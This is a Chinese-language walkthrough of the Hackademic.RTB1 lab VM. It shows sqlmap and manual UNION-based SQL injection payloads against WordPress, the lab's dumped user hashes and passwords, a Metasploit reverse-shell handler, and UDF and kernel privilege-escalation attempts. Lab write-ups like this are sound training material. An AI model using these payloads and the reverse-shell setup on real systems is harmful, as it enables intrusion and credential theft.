Hackademic.RTB1

news2025/1/17 3:09:07

信息收集

判断存活主机
nmap -sT --min-rate 10000 192.168.182.0/24

Nmap scan report for 192.168.182.135
Host is up (0.030s latency).
Not shown: 992 filtered tcp ports (no-response), 6 filtered tcp ports (host-unreach)
PORT   STATE  SERVICE
22/tcp closed ssh
80/tcp open   http
MAC Address: 00:0C:29:01:8A:4D (VMware)

判断主机存活端口信息:

nmap -sT --min-rate 10000 -p- 192.168.182.135

仅仅存在两个端口,分别是22和80端口,很显然这台靶机的突破点在80端口!(犯病了 这里22写的是closed!!)

udp端口扫描:

nmap -sU -p- 192.168.182.135

udp端口没有开放!

尝试做一下服务版本信息的收集和漏洞脚本的信息探测!

nmap -sT -sC -sV -O -p22,80 192.168.182.135
nmap -sT --script=vuln -p22,80 192.168.182.135

存在一个不安全的http方法,trace方法!这个在对客户的渗透测试过程中是要在渗透测试报告种体现的!

PORT   STATE  SERVICE
22/tcp closed ssh
80/tcp open   http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  CVE:CVE-2011-3192  BID:49303
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       https://www.securityfocus.com/bid/49303
|       https://seclists.org/fulldisclosure/2011/Aug/175
|_      https://www.tenable.com/plugins/nessus/55976
|_http-trace: TRACE is enabled
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
MAC Address: 00:0C:29:01:8A:4D (VMware)

漏洞脚本的探测也没还有发现什么有价值的东西!

渗透测试

既然开放了80端口,那就访问下看看存在什么样的服务:

“访问你的目标并且尝试获取到root权限!”

这里出现了几个链接!no comments Uncategorized 这里还出现了一个用户名吧:Nickjames!!!这里我们留意一下吧,避免之后会用到!

no commens链接如上图!怀疑url链接可能存sql注入漏洞!但是通过添加单引号进行闭合,并没发现存在sql注入漏洞!

Uncategorized链接!

同样还是测试是否存在sql注入漏洞和文件包含漏洞!

在测试文件包含的时候,出现了sql语句!判断可能存在sql注入漏洞!看到爆出来的sql语句,构建sql注入命令:

可见 确实是存在sql注入的!

跑一下SQLmap!

python sqlmap.py -u http://192.168.182.135/Hackademic_RTB1/?cat=1 --dbs

获取到三个数据库:

information_schema
mysql
wordpress

存在wordpress数据库!

sqlmap -u http://192.168.182.135/Hackademic_RTB1/?cat=1 -D wordpress --tables

获取到了9个表!

| wp_categories     |
| wp_comments       |
| wp_linkcategories |
| wp_links          |
| wp_options        |
| wp_post2cat       |
| wp_postmeta       |
| wp_posts          |
| wp_users          |
sqlmap -u http://192.168.182.135/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --dump

获取到五个用户的账号和密码信息:

NickJames  admin
MaxBucky    kernel
JasonKonnors   maxwell
TonyBlack     napoleonMas
GeorgeMiller    q1w2e3

既然拿到了wordpress的账号和密码,先尝试一下是否能够ssh登录!

ssh

既然登陆不上的话,那就只能是找一下wordpress的后台登陆地址,进行登录了!

wordpress

利用dirsearch进行目录爆破:

成功发现了wordpress!进入wordpress的后台登陆地址,尝试利用上面拿到的账号和密码进行登录,利用wordpress各种插件和主题的漏洞进行getshell!

利用第一个账号进行登录,成功登录进来,页面的下方暴露出来wordpress的版本信息:

这个wordpress好老的样子,都没见过这样的wordpress!查找网上公开的漏洞!

找到了几个相关的漏洞,但是都是sql注入,上面已经通过sql注入获取了相关的信息,感觉没什么利用的价值~

(这里也尝试了这几个exp,但是没利用成功~)

我还是认为利用插件 主题的bug来执行我们的代码,但是登录的这个管理员的账号,没看到什么主题 插件好奇怪,这里便可以挨个账号进行尝试:

直到最后一个账号!发现了大量的信息:

终于是看到了插件!

直接全部激活,看看能不能编辑插件!

插件编辑!来了来了!写phpinfo();看看?

代码被执行了!准备上反弹shell代码!

msfvenom生成反弹shell的php代码,写入。然后起msf监听!

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost=192.168.182.130
run

将msfvenom生成的反弹shell马,写入之后,更新一下!自动跳转到我们刚才编辑好的页面!msf收到会话!

进入shell,准备提权!

提权

当前的用户是apache用户,确认ip地址确实是攻击的地址!

由于我们的shell交互性还不是很好,利用dpkg -l | grep python查看是否安装了python,尝试利用python提升一下我们的shell的交互性!

但是没有dpkg命令 那就直接利用python -V查看一下python的版本信息吧!

python -c "import pty;pty.spawn('/bin/bash')"

尝试查看/etc/passwd文件:

发现了除root用户之外的两个用户拥有着bash;其他用户都没有!

sudo -l查看当前用户具有的权限,但是需要输入当前apache用户的密码,我们并不知道~

查看定时任务,发现也没有定时任务~

尝试利用下内核漏洞进行提权!

不知道这两个漏洞是否存在:先试试再说

确认目标主机上是否存在gcc!gcc- v

攻击机起php服务:

php -S 0:80

给执行权限!

尝试40812.c脚本,发现编译出错~ 估计也够呛~

(PS:这里使用了无数的方法!)

sudo -l 查看当前用户的权限,看是否能够执行相关root的命令  但是发现需要输入apache的密码
find / -perm -u=s -type f 2>/dev/null  查看具有suid权限的文件 没有找到可以利用的
cat /etc/crontab 定时任务排查  无定时任务
内核漏洞两个exp进行提权 提权失败
dirtycow提权 失败~
vim提权 没有vim
在/etc/passwd里面尝试追加用户  没有权限
查看拥有bash的各个用户家目录下是否存在.ssh   #没有权限查看~
查找是否存在备份文件等 没找到~
查找网站目录下的相关配置文件! 发现数据库的配置文件找到了数据库的账号和密码!!!
本想着可能root用户使用的密码也是数据库root的密码 其实不是 登陆失败!!!
UDF!

UDF提权

在网站的上层目录下找到了数据库的文件

本来想着root的密码是不是就是这个数据库的密码呢?其实不是!呦呦呦登陆失败了~

此时想起来UDF提权!

mysql -uroot -p

show global variables like "%secure%";

查看我们要用的那个目录:

这里我们通过searchsploit来寻找利用文件:(就用1518先试试把):(之后就通过cat 1518.c 按照里面的步骤进行执行即可)

通过起php服务,让靶机下载这个文件:(给他修改了一个名字,为了就是直接执行命令!)

gcc -g(指定生成调试信息) -c (生成源代码但不进行链接) raptor_udf2.o -fPIC(指定生成位置无关代码)

之后便是按照文件里面的步骤执行就好了:

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

生成了共享文件!

使用mysql数据库!

创建一个表名为foo (类型为blob的列名line)

接下来就是把共享库文件存储到数据库中:

insert into foo values(load_file('/tmp/raptor_udf2.so'));

之后就是将他转储出来,路径就是我们查到的那个路径/usr/lib/mysql/plugin/

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

这里报错了,说是没有读写的权限'/usr/lib/mysql/plugin/raptor_udf2.so'; 真的了~

没有别的方法打了我!

后面看了wp!!!(包括红笔师傅也说了查内核漏洞的时候 不要把内核的版本写的那么详细!!!!)

searchsploit linux 2.6.31
searchsploit linux 2.6.3		#下面这个方法 会查到15285.c

(打自己一耳光吧 总是记不住呢???)

(提权成功~ 我哭死 试了那么多方法~)

UDF提权失败的原因 大佬说是 mysql不是root运行的!

【补充】

关于前期的sql注入,还是存在一个问题,我用上了sqlmap,还是这个原则:能不用大型的工具就不用大型的工具。

现在来手工对漏洞进行复现:

拿到了报错的信息,判断这里应该是存在sql注入的!

之后便是判断当前的表wp_categories存在的列数,利用order by命令 按照列数进行排序!如果不存在那一列,那么就会报错了!

可以看到当我们按照列数为6的时候,进行排序!报错说没有这一列,那么我们就知道了这个表一共存在5列!

之后我们需要判断回显的地方在第几列!

整个sql的查询语句上面已经是回显给我们了!(利用union联合查询进行判断~)

select * from wp_categories where cat_ID=1 union select 1,2,3,4,5 LIMIT 1
#当我们前面的select语句出现错误的时候,而我们后面的语句是正确的时候  那么前面的查询语句实际上也就失效了~

让前面的语句报错!后面正常执行~暴露出来了回显点!

#查看数据库版本
select * from wp_categories where cat_ID=0 union select 1,version(),3,4,5 LIMIT 1
#数据库当前的用户
select * from wp_categories where cat_ID=0 union select 1,user(),3,4,5 LIMIT 1
#数据库名称
select * from wp_categories where cat_ID=0 union select 1,database(),3,4,5 LIMIT 1

之后就是查询数据库里面的信息,这里可以直接google下wordpress的数据库结构!

https://codex.wordpress.org/Database_Description/1.5

其中的users表中存在几个比较重要的字段,分别是:id、user_login user_pass user_level(user_level的值越大 说明权限就越大!因此我们就找里面权限最大的账号密码即可)

0 union select 1,group_concat(id,0x3A,user_login,0x3A,user_pass,0x3A,user_level),3,4,5 from wp_users

1:NickJames:21232f297a57a5a743894a0e4a801fc3:1,
2:JohnSmith:b986448f0bb9e5e124ca91d3d650f52c:0,
3:GeorgeMiller:7cbb3252ba6b7e9c422fac5334d22054:10,
4:TonyBlack:a6e514f9486b83cb53d8d932f9a04292:0,
5:JasonKonnors:8601f6e1028a8e8a966f6c33fcd9aec4:0,
6:MaxBucky:50484c19f1afdaf3841a0d821ed393d2:0

查出来一共存在六个用户,然后其中GeorgeMiller用户的level值是最高的!那么我们就可以确定了这个用户的权限是最高的~

接下来就是破解该用户的密码的哈希值:

利用hashcat进行破解:
hashcat -a 0 -m 0 7cbb3252ba6b7e9c422fac5334d22054 /usr/share/wordlist/rockyou.txt
-a 0 直接爆破
-m 0  指定加密方式为md5
后面就是字典

之后便可以拿着这个用户身份进行登录!

Miscellaneous选项卡中可以配置上传!

勾选上允许文件上传,之后添加上允许上传php文件:

更新配置之后,上面的菜单栏中,就会出现upload!上传php一句话反弹shell!

上传文件之后,便会返回给我们shell的地址:/wp-content/shell.php

之后便是提权阶段!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1293985.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

IPTABLES(一)

文章目录 1. iptables基本介绍1.1 什么是防火墙1.2 防火墙种类1.3 iptables介绍1.4 包过滤防火墙1.5 包过滤防火墙如何实现 2. iptables链的概念2.1 什么是链2.2 iptables有哪些链 3. iptables表的概念3.1 什么是表3.2 表的功能3.3 表与链的关系 4. iptables规则管理4.1 什么是…

Spring MVC详解、静态资源访问、拦截器

1. Spring MVC概述 1.1 Spring MVC是什么 SpringMVC是Spring的一个模块,是一个基于MVC设计模式的web框架。 1.2 Spring MVC执行流程。 1.3 组件分析 前端控制器(默认配置)Dispatcher Servlet 作用:只负责分发请求。可以很好的对…

HL7/FHIR 是什么

如果你对上面 2 个单词不熟悉的话,那就需要先脑补下了。 HL7 HL7 可以认为是一个标准化的组织,这个组织主要对标准进行控制。 如果你希望在医疗系统中对数据进行交换,通常 HL7 现在就是事实上的标准了。 FHIR FHIR – Fast Health Inter…

urllib 异常、cookie、handler及代理(四)

目录 一、urllib异常 二、urllib cookie登录 三、urllib handler 处理器的基本使用 四、urllib 代理和代理池 参考 一、urllib异常 URLError/HTTPError 简介: 1.HTTPError类是URLError类的子类 2.导入的包urllib.error.HTTPError urllib.error.URLError 3.h…

JavaScript单页面路由详解:打造现代化、高性能的Web应用

​🌈个人主页:前端青山 🔥系列专栏:JavaScript篇 🔖人终将被年少不可得之物困其一生 依旧青山,本期给大家带来JavaScript篇专栏内容:JavaScript-spa单页面路由 目录 # 基于SPA的单页面路由 关于单页应用 单页应用的…

编程实战:自己编写HTTP服务器(系列2:请求)

系列入口:编程实战:自己编写HTTP服务器(系列1:概述和应答)-CSDN博客 本文介绍如何处理请求。 目录 一、概述 二、成员变量 三、接收并分解请求 四、完整代码 五、HTTP处理框架 一、概述 请求和应答结构其实差不多…

Axure原型图表组件库,数据可视化元件(Axure9大屏组件)

针对Axure制作的大屏图表元件库,帮助产品经理更高效地制作高保真图表原型,是产品经理必备元件工具。现分享完整的组件库,大家一起学习。 本组件库的图表模块,已包含所有常用的图表,以下为部分组件截图示意。文末可下载…

Axure原型组件库,数据可视化动态元件库(超详细Axure9可视化素材)

专门针对Axure制作的动态图表元件库,帮助产品经理更高效地制作高保真图表原型,是产品经理必备元件工具。现分享完整 Axure 9 的组件库,大家一起学习。(如需 Axure 8组件请详见文末) 每一个动态组件在原型文件中都配有…

NLP自然语言处理学习笔记

参考:NLP(自然语言处理)介绍 - 知乎 (zhihu.com) 一、NLP是什么 自然语言处理( Natural Language Processing, NLP)是计算机科学领域与人工智能领域中的一个重要方向。它研究能实现人与计算机之间用自然语言进行有效通信的各种理论和方法。自…

小航助学2023年6月GESP_Scratch二级真题(含题库答题软件账号)

需要在线模拟训练的题库账号请点击 小航助学编程在线模拟试卷系统(含题库答题软件账号 单选题3.00分 删除编辑附件图文 答案:D 第1题高级语言编写的程序需要经过以下( )操作,可以生成在计算机上运行的可执行代码。 A、编辑B、…

Liunx系统使用超详细(四)~文件/文本相关命令2

承接文章Liunx系统使用超详细(四)~文件/文本相关命令1http://t.csdnimg.cn/f7G6S 目录 一、awk命令(三剑客之一) 1.1工作原理 1.2工作流程 1.3语法格式 1.3.1格式注释: 1.3.2模式(pattern)的类型: 1.3.3动作(ac…

Java期末复习题之继承

点击返回标题->23年Java期末复习-CSDN博客 第1题. 设计一个学生类Student,其数据成员有name(姓名)、age(年龄)和degree(学位)。由Student类派生出本科生类Undergraduate和研究生类Graduate,本科生类Undergraduate增加成员specialty(专业),…

vue-tree-color 组件实现组织架构图遇到的坑和解决方案以及实现

**1、前期工作可以先看看大佬的文章 **https://blog.csdn.net/Try_your_best_l/article/details/120173192?spm1001.2101.3001.6650.5&utm_mediumdistribute.pc_relevant.none-task-blog-2defaultCTRLISTRate-5-120173192-blog-128109597.235%5Ev38%5Epc_relevant_default…

案例精选|聚铭网络助力莱阳市人民医院打造合规性网络安全保障体系

莱阳市人民医院是一所集医疗、教学、科研、急救、康复、医养结合于一体的大型二级甲等综合性公立医院,占地总面积约3万平方米,建筑面积约7万平方米,设置科室48个,开放床位500张。医院先后获得山东省首批医养结合典型、山东省卒中防…

案例060:基于微信小程序考试系统

文末获取源码 开发语言:Java 框架:SSM JDK版本:JDK1.8 数据库:mysql 5.7 开发软件:eclipse/myeclipse/idea Maven包:Maven3.5.4 小程序框架:uniapp 小程序开发软件:HBuilder X 小程序…

学习设计模式的一个好网址

常用设计模式有哪些? (refactoringguru.cn)https://refactoringguru.cn/design-patterns

【Proteus仿真】【STM32单片机】蓝牙遥控小车

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 本项目使用Proteus8仿真STM32单片机控制器,使LCD1602液晶,L298电机,直流电机,HC05/06蓝牙模块等。 主要功能: 系统运行后,LCD1602显…

Matlab 点云对称性检测

文章目录 一、简介二、实现代码三、实现效果参考文献一、简介 这是一个很有趣的功能,它的思路其实与ICP算法的思路有些相似: 首先,它会初始化两个旋转角度,即绕x轴旋转与绕y轴旋转,初始的过程是将点对称(镜像)过去,计算与匹配点之间的距离误差,误差最小者为最优初始值…

【Docker二】docker网络模式、网络通信、数据管理

目录 一、docker网络模式: 1、概述 2、docker网络实现原理: 3、docker的网络模式: 3.1、bridge模式: 3.2、host模式: 3.3、container模式: 3.4、none模式: 3.5、自定义网络模式&#xf…

Spring基于注解存储对象

小王学习录 前言基于注解存储对象Controller (控制器存储)Service (服务存储)Repository (仓库存储)Component (组件存储)Configuration (配置存储)Bean(方法注解) 前言 上一篇文章中已经介绍了在Spring中存储Bean和取Bean的方法. 而在 Spring 中想要更简单的存储和读取对象的…